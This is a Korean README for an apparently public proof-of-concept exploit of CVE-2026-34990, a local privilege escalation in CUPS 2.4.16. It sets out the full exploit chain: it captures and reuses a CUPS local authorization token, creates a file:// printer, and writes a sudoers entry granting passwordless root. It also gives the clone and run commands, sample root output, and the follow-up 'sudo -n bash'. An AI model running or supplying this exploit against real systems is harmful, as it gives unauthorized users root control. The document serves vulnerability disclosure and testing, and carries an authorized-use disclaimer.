
CVE-2026-34990에 대한 일반 PoC - CUPS 2.4.16 로컬 토큰 노출 및 임의 루트 파일 덮어쓰기를 통한 로컬 권한 상승.
CUPS 2.4.16에 영향을 미치는 로컬 권한 상승 취약점인 CVE-2026-34990에 대한 범용 개념 증명(proof-of-concept)입니다.
이 익스플로잇은 로컬의 비특권 사용자가 CUPS의 로컬 인증 및 프린터 구성 동작을 악용하여 root 권한으로 임의 파일을 쓰고 권한을 상승시킬 수 있는 방법을 보여줍니다.
CVE-2026-34990은 원래 다음 사람에 의해 보고되었습니다:
Asim Viladi Oglu Manizada (@manizada)
저는 이 취약점의 발견자가 아닙니다.
이 저장소에는 공개적으로 공개된 기술 정보를 바탕으로 제가 각색하고 테스트한 개념 증명 구현이 포함되어 있습니다.
높은 수준에서 익스플로잇 체인은 다음과 같습니다:
로컬 비특권 사용자
|
v
임시 CUPS 프린터 생성
|
v
아웃바운드 IPP 인증 트리거
|
v
Authorization: Local 토큰 캡처
|
v
권한 있는 CUPS 작업에 토큰 재사용
|
v
file:// 프린터 생성/지속
|
v
인쇄 작업 제출
|
v
root 소유의 임의 파일 쓰기
|
v
권한 상승
PoC는 현재 로컬 사용자 이름을 자동으로 사용합니다.
예를 들어, 다음과 같이 실행될 때:
alice
데모 페이로드는 다음을 대상으로 합니다:
/etc/sudoers.d/alice-pwn
그리고 다음을 쓰려고 시도합니다:
alice ALL=(ALL) NOPASSWD: ALL
성공적인 익스플로잇은 다음으로 확인할 수 있습니다:
sudo -n id
예시:
uid=0(root) gid=0(root) groups=0(root)
PoC는 다음을 요구합니다:
ipptoollplpstatCUPS 버전 확인:
cups-config --version
스케줄러가 실행 중인지 확인:
lpstat -r
로컬 CUPS 리스너 확인:
ss -lnt | grep 631
저장소 복제:
git clone https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC.git
cd CVE-2026-34990-CUPS-LPE-PoC
실행:
python3 exploit.py
예시 출력:
[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn
[+] Local token: <LOCAL_TOKEN>
[*] attempt 1: <printer-name>
[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)
[*] next: sudo -n bash
성공적인 익스플로잇 후:
sudo -n bash
이 PoC는 공개적으로 공개된 CVE의 범용 구현으로 의도적으로 작성되었습니다.
여기에는 다음이 포함되지 않습니다:
이 코드는 다음을 위해 제공됩니다:
소유한 시스템 또는 명시적 승인을 받은 시스템에서만 이 코드를 사용하십시오.
작성자는 이 소프트웨어의 오용에 대해 책임지지 않습니다.
취약점 발견:
Asim Viladi Oglu Manizada (@manizada)
PoC 각색, 테스트 및 문서화:
Noor Khalil